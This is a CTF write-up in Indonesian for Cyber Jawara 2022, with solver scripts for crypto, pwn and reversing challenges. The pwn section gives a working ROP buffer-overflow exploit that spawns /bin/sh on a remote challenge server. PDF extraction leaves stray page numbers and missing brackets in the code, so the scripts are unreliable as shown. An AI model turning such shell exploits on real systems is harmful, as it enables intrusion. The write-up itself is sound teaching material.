Anda di halaman 1dari 24

WRITE UP

Cyber Jawara 2022

1 swusjask 2 roti pramuka


FORENSIC

CRYPTO

1. Faustian

Soal berisi sebuah sign menggunakan protokol kriptografi elliptic curve.


Kesalahan implementasi terdapat pada bilangan random secret x dan y yang
terdapat pada class FaustianContract yang hanya di random sekali saja.
Untuk meddapatkan nilai dari x dan y dapat menggunakan persamaan dari
nilai t yang kita dapat dari hasil sign 2 data. Menggunakan sistem persamaan
linier pada Z/nZ yang terdapat 2 persamaan 2 variabel maka diperoleh hasil x
dan y nya.

Cari nilai x dan y nya dari persamaan matriks pada Z/nZ

Script:

Solve.py

from sage.all import *

from Crypto.Util.number import bytes_to_long

2
import hashlib

n =
0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

p =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF

a =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC

b =
0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B

E = EllipticCurve(GF(p), [a, b])

Gx =
0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296

Gy =
0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5

G = E(Gx, Gy)

R1 = E(

89178789511056148847049005868567462167261955997657554099778920933121
573091123,

71048220706946823989291827907177204783636416742853218272785661900390
030752444,

S1 = E(

3
84468717208487015879799413611233811577918959004889114474169144242051
434411742,

68199653900396666624222323732071371893612714602403761325540079249224
396206734,

t1 =
86853982115072095915163562930779888818732258019406908343398368359229
922203539

R2 = E(

58390376058912459799393144291493382130355606516250185375725693269944
877619189,

68951579874790955372262253961119890325320186518045447506249230878120
315473589,

S2 = E(

84468717208487015879799413611233811577918959004889114474169144242051
434411742,

68199653900396666624222323732071371893612714602403761325540079249224
396206734,

t2 =
77394062595214945977303101167667205555888591783381794883527416825859
624371383

4
h1 = bytes_to_long(hashlib.sha256(b"Memento Mori").digest())

h2 = bytes_to_long(hashlib.sha256(b"Mors Vincit Omnia").digest())

a11 = int(R1.xy()[0])

a12 = int(S1.xy()[0]) + h1

b1 = t1 - h1 * int(S1.xy()[0])

a21 = int(R2.xy()[0])

a22 = int(S2.xy()[0]) + h2

b2 = t2 - h2 * int(S2.xy()[0])

A = matrix(GF(n), [[a11, a12], [a21, a22]])

b = vector(GF(n), [b1, b2])

y, x = A.solve_right(b)

print(x)

print(y)

Challenge.py (yang sudah dimodif untuk mengsign pacts[2])

from random import randint

from hashlib import sha256

5
from Crypto.Util.number import bytes_to_long

from ecdsa import ellipticcurve

class FaustianContract:

def __init__(self):

p =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF

a =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC

b =
0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B

Gx =
0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296

Gy =
0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5

self.n =
0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

self.E = ellipticcurve.CurveFp(p, a, b, 1)

self.G = ellipticcurve.PointJacobi(self.E, Gx, Gy, 1,


self.n)

6
self.x =
47182668197856289342864657938670160421678130687332682168596520003983
438221930

self.y =
10211478560799055302877804940614264431748217608547837727160421479223
0482615867

self.Q = self.G * self.x

def sign(self, m):

h = bytes_to_long(sha256(m).digest())

k = self.x + h

R = k * self.G

S = self.y * self.G

t = ((R.x() * self.y) + (S.x() * k) + (h * self.x)) % self.n

return (int(R.x()), int(R.y())), (int(S.x()), int(S.y())),


int(t)

def verify(self, m, R, S, t):

if t < 1 or t > self.n:

return False

if not self.E.contains_point(R[0], R[1]):

return False

7
if not self.E.contains_point(S[0], S[1]):

return False

h = bytes_to_long(sha256(m).digest())

R = ellipticcurve.PointJacobi(self.E, R[0], R[1], 1, self.n)

S = ellipticcurve.PointJacobi(self.E, S[0], S[1], 1, self.n)

return t * self.G == (self.Q * h) + (R * S.x()) + (S *


R.x())

if __name__ == "__main__":

# FLAG = open('flag.txt', 'r').read()

contract = FaustianContract()

pacts = ["Memento Mori", "Mors Vincit Omnia", "Vita Vanitas"]

R, S, t = contract.sign(pacts[2].encode())

print(f"Rx: {R[0]}")

print(f"Ry: {R[1]}")

print(f"Sx: {S[0]}")

print(f"Sy: {S[1]}")

8
print(f"t: {t}")

Input dan Output dari servis serta hasil run script

Flag: CJ2022{no_need_fancy_trick_just_basic_math_3738bdd4c}

PWN

1. Minato Aqua

Diberikan ELF 64bit dengan security sbb:

9
Terdapat bug buffer overflow pada binary tsb, no PIE + NX enabled so must
be simple ROP. Langsung saja cek gadget yang tersedia dengan ropper, dan
oke tidak semudah itu karena tidak ada pop rdi wkwkwkwk. Namun, kami
menemukan gadget yang menarik, yakni:

Gadget tersebut mengisi rdi dengan rax dan memanggil system (base_addr +
0x1070). Jadi apabila kita dapat mengisi rax dengan “/bin/sh”, we win. Ingat
kembali rax menyimpan return value dari setiap fungsi, dan return value dari
gets() adalah address yang mengarah pada inputan kita yang akan disimpan
pada rax, karena paddingnya 40 yasudah langsung saja input b“/bin/sh\x00”
* 5 sebagai padding sekaligus value rax yang akan dipass ke rdi, dan
overwrite return address dengan gadget tersebut :D

Berikut script yang kami gunakan:

from pwn import *

exe = context.binary = ELF("./minato_aqua")

# p = process("./minato_aqua")

p = remote("167.172.88.66", 8001)

# 0x00000000004011d3: mov rdi, rax; call 0x1070; nop; leave; ret;

10
gadget = 0x00000000004011D3

payload = 5 * b"/bin/sh\x00"

payload += p64(gadget)

p.sendline(payload)

p.interactive()

Flag: CJ2022{good_luck_with_the_other_challs!!!!!!}

11
REV

1. Sekr3T Message

Diberikan 64bit ELF yang berbasis golang, langsung saja decompile dengan
ghidra. Karena golang, maka fungsi main terletak pada main.main. Lalu, kami
menemukan ada potongan kode yang menarik pada main.main tersebut:

Dapat dilihat bahwa terdapat if statement yang menyatakan bahwa suatu


pointer berisi 0x25e4e52dd900 maka program ini akan mengoutputkan
sesuatu, langsung saja kita coba untuk menginputkannya dan ternyata
benar, ada output yang menarik.

Kami menduga bahwa output tsb adalah flag yang telah di encode dalam
base64, langsung saja decode dengan online tools dann..

12
Flag: CJ2022{S1n4u_Ben_6a_K3t1ngg4l4N}

13
2. BabyRev

Diberikan stripped 64bit ELF langsung saja decompile dengan ghidra, fungsi
main terletak pada argumen pertama pada entry langsung saja menuju
fungsi tersebut, berikut isinya:

Dapat dilihat bahwa potongan kode tersebut akan mengecek apakah inputan
kita adalah flag yang benar dari challenge ini. Dapat dilihat bahwa flag
diconstruct dari operasi xor antar 2 pointer, langsung saja lihat pointer2
tersebut. PTR_DAT_00104620 ternyata adalah sebuah pointer menuju suatu
data yang cukup besar, dan
PTR_s_CJ2022{6b4df17b9722d184e8229b5fd_00106360 sesuai namanya
merupakan pointer menuju string (array of char) yang berisi
“CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}". Langsung
saja copas semua data pada PTR_DAT_00104620 dan lakukan xor pada index
yang bersesuaian dengan

14
"CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}", dan flag akan
didapatkan. Berikut solver yang kami gunakan:

data = [

"0x00",

"0x00",

"0x00",

"0x00",

"0x00",

"0x00",

"0x00",

"0x58",

"0x0D",

"0x6B",

"0x17",

"0x12",

"0x43",

"0x5E",

"0x0C",

"0x5E",

"0x44",

"0x6D",

"0x58",

"0x11",

"0x42",

15
"0x4C",

"0x6B",

"0x09",

"0x4C",

"0x40",

"0x53",

"0x5A",

"0x07",

"0x48",

"0x25",

"0x2E",

"0x0B",

"0x03",

"0x04",

"0x06",

"0x1D",

"0x59",

"0x0E",

"0x3C",

"0x46",

"0x47",

"0x11",

"0x0C",

"0x57",

16
"0x53",

"0x10",

"0x68",

"0x5B",

"0x45",

"0x17",

"0x09",

"0x00",

data2 = "CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}"

flag = "".join([chr(int(data[i], 16) ^ ord(data2[i])) for i in


range(0x1E)])

print(flag)

Flag: CJ2022{no_strings_just_ltrace}

17
3. Kamu Nanya?

Diberikan zip file berisi 591 binary, langsung saja lakukan objdump untuk
mengecek hasil disassemblynya:

Dapat dilihat bahwa binary tsb melakukan nanosleep sebanyak 5 second,


lalu exit dengan error code 1 jika %dl bernilai sesuai dengan apa yang di
cmp, dan error code 0 jika sebaliknya. Disini kami menduga bahwa flag
terdapat pada konfigurasi karakter sehingga kita dapat exit dengan code 1
pada masing2 binary, langsung saja lakukan command line

objdump -d bertanya* > to_solve.txt

untuk memasukkan semua assembly dari masing2 binary file pada suatu file
to_solve.txt, lalu lakukan parsing dengan bantuan python untuk
mendapatkan hasil cmp yang sesuai. Namun ingat bertanya* mengurutkan

18
nama file secara leksikografis, yang dalam kasus kita tidak diinginkan karena
kita ingin bahwa output objdump tersebut terurut dari bertanya0, bertanya1,
bertanya2, dst bukan bertanya0, bertanya1, bertanya10, bertanya100, dst.
Maka perlu dilakukan sorting terlebih dahulu untuk melakukan “unjumbling”
pada flag yang telah dihasilkan dari hasil pemrosesan to_solve.txt, untuk
melakukan hal tsb saya melakukan command line

file bertanya* > order.txt

untuk mengetahui urutan leksikografisnya, berikut solver yang kami


gunakan:

def get_operand(op):

return op.split()[1][1:].split(",")[0]

def solve(op1, op2):

operand1 = int(get_operand(op1), 16)

operand2 = int(get_operand(op2), 16)

operator = op1.split()[0]

if operator == "xor":

ret = operand2 ^ operand1

elif operator == "sub":

ret = operand2 + operand1

elif operator == "add":

ret = operand2 - operand1

else:

19
print("[*] Unknown operator -> " + operator)

exit()

return ret

jumbled_flag = ""

correct_order = {}

with open("./to_solve.txt", "r") as f:

prev_line = None

flag = []

for i, line in enumerate(f):

if i % 2 == 1:

flag.append(

solve(" ".join(prev_line.split()[-2:]), "


".join(line.split()[-2:]))

% 256

prev_line = line

jumbled_flag = "".join([chr(i) for i in flag])

with open("./order.txt", "r") as f:

20
orders = [(int(line.split()[0].split(":")[0][8:]), i) for i, line in
enumerate(f)]

for order in sorted(orders):

correct_order[order[0]] = order[1]

flag = ""

for i in range(len(jumbled_flag)):

flag += jumbled_flag[correct_order[i]]

print(flag)

Flag: CJ2022{opoKuwi_Kowe_t3k0000k}

4. TeenRev

Diberikan sebuah python bytecode. Kami menggunakan pycdc untuk


melakukan decompile bytecode tersebut. Kemudian setelah didecompile
ternyata hasil decompile incomplete pada line terbawah.

21
Karena incomplete, maka kami melakukan disassemble lebih lanjut dengan
bantuan module dis untuk mengkonfirmasi kekomplitan dan behavior lebih
lanjut dari program.

import dis

import marshal

with open("chall.pyc", "rb") as f:

f.seek(16)

dis.dis(marshal.load(f))

Ternyata terdapat tambahan if statement yang memverifikasi bahwa flag


inputan kita sudah correct pada screenshot dibawah ini.

22
Behavior dari program tersebut adalah merubah input kita yang akan di
assign ke variabel p. Program tersebut akan menambahkan dengan suatu
offset per index dari variabel p dari fungsi off() yang di load dari byte code
dari variabel x. Program akan mengecek apakah input kita adalah flag
dengan mengecek hasil akhir di p apakah sama dengan

b'ns@\xf5Y^\x12\x1fDb6.\x9f\xcb\x0b>\x98Se7\xc0\x10B\x1d^O+*\x88\xb4
r\xa4\x81\x08\x88VV\xb8\xf1"a\x0bc\x91_;)\xd3\xfcB'

Sehingga dilakukan bruteforce untuk tiap karakter sampai karakter hasil


akhir perubahan dari p sesuai dengan ans yang bersesuaian dengan index
nya.

Berikut solver yang kami gunakan:

import marshal

import string

23
enc =
b'ns@\xf5Y^\x12\x1fDb6.\x9f\xcb\x0b>\x98Se7\xc0\x10B\x1d^O+*\x88\xb4
r\xa4\x81\x08\x88VV\xb8\xf1"a\x0bc\x91_;)\xd3\xfcB'

flag = b"CJ2022{" + b"\x00" * 42 + b"}"

p = bytearray(flag)

flag = "CJ2022{"

for i in range(7, 49):

for ch in string.printable:

p[i] = ord(ch)

# insert hasil decompile here..

if (p[i] == enc[i]):

flag += ch

break

print(flag)

flag += '}'

print(flag)

Flag: CJ2022{Justt_parsee_andd_runn_it_in_reverse_order}

24

Anda mungkin juga menyukai